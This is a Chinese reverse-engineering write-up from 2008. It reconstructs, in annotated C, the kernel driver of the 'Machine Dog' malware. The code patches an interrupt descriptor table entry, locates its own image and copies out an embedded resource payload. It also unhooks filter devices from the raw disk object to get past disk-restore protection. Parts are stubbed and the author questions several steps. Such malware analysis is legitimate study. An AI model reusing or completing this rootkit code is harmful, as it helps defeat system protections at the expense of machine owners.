“机器狗”病毒驱动部分逆向分析注释（C代码）

创建时间：2008-03-13
文章属性：原创
文章提交： swords (songbohr_at_163.com)

/*
标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释（C代码）
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗（病毒）
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!

*/
#include <ntddk.h>          // various NT definitions

#define IOCTL_MYDEV_BASE             0xF000
#define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME                        "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME                        "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME                        "//DosDevices//PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID*   g_ResData;
SIZE_T  g_ResDataSize;

typedef struct _idtr
{
    //定义中断描述符表的限制，长度两字节；
    short        IDTLimit;
    //定义中断描述服表的基址，长度四字节；
    unsigned int    IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
    //中断执行代码偏移量的底16位；
    unsigned short    OffsetLow;
    //选择器，也就是寄存器；
    unsigned short    Selector;
    //保留位，始终为零；
    unsigned char        Reserved;
    //IDT中的门的类型：包括中断门，陷阱门和任务门；
    unsigned char        Type:4;
    //段标识位；
    unsigned char        SegmentFlag:1;
    //中断门的权限等级，0表示内核级，3表示用户级；
    unsigned char        DPL:2;
    //呈现标志位；
    unsigned char        Present:1;
    //中断执行代码偏移量的高16位；
    unsigned short    OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9                //NPX Segment Overrun
#define HOOKINTID_0E 0x0E        //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊，然后修改中断向量入口地址
{
        int INT_09_Address_High8;
        int INT_0E_Address_High8;
        unsigned long OldISR_09;
        unsigned long OldISR_0E;

        //保存IDT入口的基地址和限制信息的数据结构；
    IDTR        idtr;//store   interrupt   descript   table   register. to  idtr

            //记录IDT数组的指针，通过它可以查找到我们需要Hook中断号对应的中断门；
    PIDTENTRY    IdtEntry;

    //汇编指令sidt，获取IDT入口信息；
    __asm sidt    idtr

    //赋予IDT基地址值；
    IdtEntry = (PIDTENTRY)idtr.IDTBase;

    //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用
        OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

        INT_09_Address_High8 = OldISR_09&0x0FF000000;

        /*
        这两句汇编代码什么意思？eax相减应该总是0，那么 jz不总是跳转返回了？？？
        有知道的大侠告诉我dream2fly(QQ:838468959)
        sub     eax, eax
        jz      short FunctionExit
        难道是？
        if (INT_09_Address_High8 == 0)
                return;
        */


        //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用；
        OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

        INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

        if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
        {                
                //关中断
                __asm cli
                
                IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断，难道不bosd?
        
                //开中断
                __asm sti
        }
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
        VOID* pSelfImage = NULL;
        VOID* pCurAddr = NULL;
        VOID* pTmpAddr = NULL;

//         loc_40045F:这个取当前地址用C怎么写？
//028 lea     ebx, loc_40045F
//028 and     ebx, 0FFFFFC00h

        //pSelfImage如何取？

        while(MmIsAddressValid(pSelfImage))
        {
                if ((unsigned long)pSelfImage <= 0x80000000)
                        return NULL;

                if (RtlEqualMemory(pSelfImage, "MZ", 2))
                {
                        pCurAddr = pSelfImage;
                        pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
                        (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

                        if (!MmIsAddressValid(pCurAddr))
                                return NULL;

                        if (RtlEqualMemory(pCurAddr, "PE", 2))
                                return pSelfImage;
                }

                (unsigned long)pSelfImage -= 0x400;//-1024K
        }
        
        return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
        // 有空再补上：）

        return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    );

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
    );

VOID
Unload(
    IN PDRIVER_OBJECT       DriverObject
    );

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    )
{
    NTSTATUS        ntStatus;
        CHAR*                pResData = NULL;
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        UNICODE_STRING  DeviceName;    
        VOID* pSelfImage;
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        CheckIdt();

        pSelfImage = SearchSelf();
        if (pSelfImage == NULL)
                return -1;

        g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
        if (g_ResDataSize == 0)
        {
                return -1;
        }

        g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
        // 跳转到下条指令，延时 jmp short $+2

        RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

        DriverObject->DriverUnload = Unload;
    DriverObject->MajorFunction[IRP_MJ_CREATE] =
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

        // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
        RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

        RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
    
    ntStatus = IoCreateDevice(
        DriverObject,                   // Our Driver Object
        0,                              // We don't use a device extension
        &DeviceName,                                        
        FILE_DEVICE_NULL,            // Device type
        0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧？
        FALSE,                          // Not an exclusive device
        &DeviceObject );                // Returned ptr to Device Object

        if ( !NT_SUCCESS( ntStatus ) )
        {
                goto End;
        }

        ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

        if ( !NT_SUCCESS( ntStatus ) )
        {
                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }

End:
        RtlFreeUnicodeString(&DeviceName);
        RtlFreeUnicodeString(&SymbolicLinkName);

        return STATUS_SUCCESS;
}

VOID
Unload(
   IN PDRIVER_OBJECT DriverObject
    )
{
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        if (g_ResData)
        {
                ExFreePool(g_ResData);
        }

        if (DriverObject)
        {
                RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

                IoDeleteSymbolicLink(&SymbolicLinkName);
                RtlFreeUnicodeString(&SymbolicLinkName);

                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }
}

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
        PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object
        PFILE_OBJECT        DRO_FileObject;
        ANSI_STRING                SourceString;
    UNICODE_STRING  DRO_DeviceName;    

    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length

        Irp->IoStatus.Status = STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;

    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

    if(!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

        switch ( irpSp->MajorFunction )
        {
        case IRP_MJ_CREATE:
                RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

                IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
                g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

                //保存DR0上的附加设备，然后断开附加，等IRP_MJ_CLOSE时恢复附加
                if (DRO_FileObject->DeviceObject->AttachedDevice)
                {
                        g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
                        DRO_FileObject->DeviceObject->AttachedDevice= NULL;
                }

                ObDereferenceObject(DRO_FileObject);

                RtlFreeUnicodeString(&DRO_DeviceName);

                break;
        case IRP_MJ_CLOSE:
                if (g_DR0_DeviceObject)
                {
                        if (g_OldAttachedDeviceOfDR0)
                        {
                                g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
                        }
                }

                break;
        case IRP_MJ_DEVICE_CONTROL:
                if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
                {
                        if (outBufLength < g_ResDataSize)
                                goto End;

                        // 此处就是提取驱动里的资源解码返回给ap层，很简单，不再反汇编了，此处省略
                        // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
                        // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同？？
                        RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

                        Irp->IoStatus.Information = g_ResDataSize;
                }
                else
                {
                        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
                }

                break;

        default:

                //
        // The specified I/O control code is unrecognized by this driver.
        //

        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

End:
    //
    // Finish the I/O operation by simply completing the packet and returning
    // the same status as in the packet itself.
    //

    Irp->IoStatus.Status = ntStatus;

    IoCompleteRequest( Irp, IO_NO_INCREMENT );

    return ntStatus;
}